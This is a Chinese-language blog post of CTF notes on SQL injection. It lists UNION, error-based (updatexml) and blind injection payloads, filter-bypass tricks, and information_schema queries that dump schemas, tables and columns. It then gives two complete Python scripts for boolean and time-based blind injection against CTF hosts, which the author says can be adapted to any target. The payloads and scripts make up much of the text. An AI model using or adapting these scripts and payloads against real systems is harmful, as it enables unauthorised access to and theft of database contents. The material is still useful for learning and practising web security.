SQL注入知识汇总

记录我在做题中积累的SQL注入知识


判断SQL注入点和注入性质

判断当前表中的列数

select id = 
1 order by 1
1 order by 2
1 order by 3
1 order by 4
...

然后看回显

判断回显位置

select id = 
-1 union select 1, 2, 3, 4

看看哪个位置是什么


SQL绕过相关

空格绕过

第一种方式:注释绕过

select id = 1 from table
# 等效于
select/**/id/**/=/**/1/**/from/**/table

第二种方式:括号()绕过

所有结果等于值的内容都可以括号括起来

select (ascii(mid(flag, 1, 1)) = 1) from flag 
# 等效于
(select(ascii(mid(flag,1,1))=1)from(flag))

group_concat绕过

group_concat绕过之一

使用order by搭配limit来绕过

... order by xxx limit 0,1

只使用limit可能导致结果随机的问题,简单来说就是上一次查询的limit结果和下一次查询的limit结果不一定一样。我无法复现。

group_concat绕过之二

使用正则匹配绕过,仅限于对要查询的内容有一定猜测

select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')

使用<列名> regexp '^f'来匹配「某个列的值以f开头」的行

子查询的绕过

有一些版本的mysql,限制了子查询,比如这个payload:

select * from users where username='1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1);#-- -

可能会报错,其中的select group_concat(table_name) from information_schema.tables where table_schema=database()是罪魁祸首。因为有些版本或者有些题目配置禁止了子查询。

有两种方式可以绕过,一种是在union联合查询中调整from的位置,比如:

子查询绕过之一

select * from users where username='1' union select updatexml(1,concat(0x7e,(group_concat(table_name)),0x7e),1) from information_schema.tables where table_schema=database();#-- -

另一种是使用sql变量:

子查询绕过之二

set @payload = (select group_concat(table_name) from information_schema.tables where table_schema=database());select @payload ;

结果如下:

@payload
email,flag,user

SQL函数相关

函数参数返回值
database()当前数据库名
user()用户信息
样例:root@localhost
load_file(file_name)完整路径(绝对路径)文件内容(text形式)
只记录我遇到的函数

SQL注入常用手法

爆数据库

select group_concat(schema_name) from information_schema.schemata

爆指定数据库的表

select group_concat(table_name) from information_schema.tables where table_schema='database_name'

爆指定表的字段名

select group_concat(column_name) from information_schema.columns where table_name='table_name'

sql注入的闭合

有三种闭合情况:

'    # 单引号闭合
"    # 双引号闭合
)    # 括号闭合

这些闭合中,引号可能与括号一起使用

sql注入的截断

需要把原来的sql语句的末尾截断,避免出现sql语法错误

;-- -    # 使用-- -进行注释
;#    # 使用#进行注释
;#-- -    # 一起使用,更加有效
;selecr (1)    # 允许

报错注入

参考文献:sql注入中报错注入函数extractvalue和updatexml函数的原理及使用_extractvalue函数-CSDN博客


sql注入的一些注意事项

将子查询作为参数值

有时候需要将子查询的结果本身作为一个值传入参数。

比如一个时间盲注,注入点是这样的:

select * from users where (username='?')

构造的payload是这样的:

')union select 1,1,if((select group_concat(table_name) from information.schema where table_schema='test'),sleep(2),sleep(2));-- -
-- - 带入:
select * from users where (username='')union select 1,1,if((select group_concat(table_name) from information.schema where table_schema='test'),sleep(2),sleep(2));-- -')

这个payload仅用来测试语法和时间盲注可行性。其中,select group_concat(table_name) from information.schema where table_schema='test'这一个部分,作为if的参数时,需要使用括号包裹。

limit会导致随机

在做一道题目的时候,发现limit限制的时候,会导致结果随机

# 比如有一个表:
email
  - id
  - email_id

# 使用limit配合时间盲注的时候,可能得到这样的结果
imail_id

真实案例,无法复现,建议搭配order by <字段名>使用


sql注入的脚本

bool盲注(能在页面上找到成功或失败的标志)

import requests
import string
import time

# TODO: 修改点1
url = 'http://f8bebef1-8b12-4f5a-b84b-d8bd88e2e1db.node5.buuoj.cn:81/index.php'
# TODO: 修改点2
param_name = 'id'
params = {param_name: None}
min_num = 0
max_num = 128
# TODO: 修改点3
success_flag = "Error Occured When Fetch Result."
fail_flag = "Nu1L"

def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
    # 初始化
    if not hasattr(bool_success, 'wait_time'):
        bool_success.wait_time = 0.02
    if not hasattr(bool_success, 'success_times'):
        bool_success.success_times = 0
    if not hasattr(bool_success, 'total_times'):
        bool_success.total_times = 0
        
    state_503 = True
    while state_503:
        time.sleep(bool_success.wait_time)
        if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
            bool_success.wait_time += 0.01
            # print(f'bool_success.wait_time调整至{bool_success.wait_time}')
            bool_success.total_times = 0
            bool_success.success_times = 0
        bool_success.total_times += 1
        try:
            # TODO: 修改点:GET OR POST
            response = requests.post(url=url, data=params)
            # print(response.url)
        except Exception:
            continue
        # print(url+'id='+params[param_name])
        if requests.status_codes != 503:
            state_503 = False
            bool_success.success_times += 1
            # print(url, response.text)
            if success_flag in response.text:
                # print('success')
                return True
            elif fail_flag in response.text:
                # print('fail')
                # TODO: 修改点4
                # return False
                continue
            elif "Error" in response.text:
                # print('worry_data')
                continue
            else:
                # print('error')
                continue
    return False


res = ''
temp_flag = ''
None_num = 0
for i in range(1, 500):
    left = min_num - 1
    right = max_num + 1
    mid = (left + right) // 2
    while left + 1 != right:
        # TODO: 修改点
        column_name = 'users23330'
        table_name = 'users'
        # TODO: 修改点5
        
        # 数据库
        # 1. 常规
        # params[param_name] = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})'
        # 2. 当前库
        # params[param_name] = f'1^(ascii(substr((select(database())),{i},1))>{mid})'
        # 3. 换个信息表
        # params[param_name] = f'1^(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))>{mid})'
        
        # 数据表
        # 1.
        # params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
        # 2.
        # params[param_name] = f'1^(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database()))'
        # 3.
        # params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{i},1))>{mid})'
        
        # 字段
        # params[param_name] = f'1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="{table_name}")),{i},1))>{mid})'
        
        # 内容
        # 1.
        # params[param_name] = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
        # 2. payload形式
        # payload = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
        # 3. 不用列名
        # params[param_name] = f'1^(ascii(substr((select(group_concat(a))from(select(1)a,(2)b,(3)c/**/union/**/select/**/*from/**/{column_name})x),{i},1))>{mid})'
        # 4. 不用列名,字典序比较
        params[param_name] = f'1^(select((select/**/1,"{temp_flag}{chr(mid+1)}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
        # print(params[param_name])
        
        if bool_success(url,params, success_flag, fail_flag):
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    if right == max_num + 1 or left == min_num - 1:
        print('NoneChr!')
        None_num += 1
        if None_num >= 5:
            print('---finished---')
            break
        continue
    
    res += chr(right)
    print(res)
    temp_flag += chr(right)

我使用了合理的重试机制,时间宽容度具有弹性。里面使用了二分法快速查找避免浪费时间。
可以 稍加改造让他适应任何情况的注入。

时间盲注(确保服务器的响应不会有随机等待时间)

import requests
import time
from datetime import datetime
import json
from colorama import Fore, Back, Style
import base64

# 目标配置
url = "http://web-94a6ef40a7.challenge.xctf.org.cn:80/index.php"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
payload_json = {"sql":"select if(ascii(substr(database(),1,1))>5,sleep(2),1)"}
# res = requests.post(url, json=payload_json, headers=headers)
# print(res.text)
datas = {
    "username": "';SELECT if(ascii(substr((select group(w_name) from w_admin),1,1))>5,sleep(3),1)#",
    "password": "123123123",
    "vercode": "942724"
}
# res = requests.post(url, data=datas, headers=headers)
# print(res.text)
# time.sleep(100000)

# 程序配置
min_num = 0
max_num = 128

# 爆库
res = ''
None_num = 0
for i in range(1, 500):
    left = min_num - 1
    right = max_num + 1
    mid = (left + right) // 2
    while left + 1 != right:
        time_st = time.time()
        cookies = {
            "uname": base64.b64encode("')union select 1,1,if(ascii(substr(flag,{},1))>{},sleep(1),1) from flag limit 0,1;-- -".format(i, mid).encode('utf-8')).decode('utf-8')
        }
        print(Fore.BLUE + "[out]: -----------------------\n[out]: now_payload: {}".format(cookies))
        response = requests.post(url, cookies=cookies, headers=headers, timeout=10)
        if time.time() - time_st > 0.5:
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    if right == max_num + 1 or left == min_num - 1:
        print('NoneChr!')
        None_num += 1
        if None_num >= 5:
            print('---finished---')
            break
        continue
    
    res += chr(right)
    print(Fore.GREEN + "[ANS]: " + res)

这个脚本没有做重试机制,因为时间注入不容易导致503。同样的,可以稍加改造以适应任何情况的时间注入。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇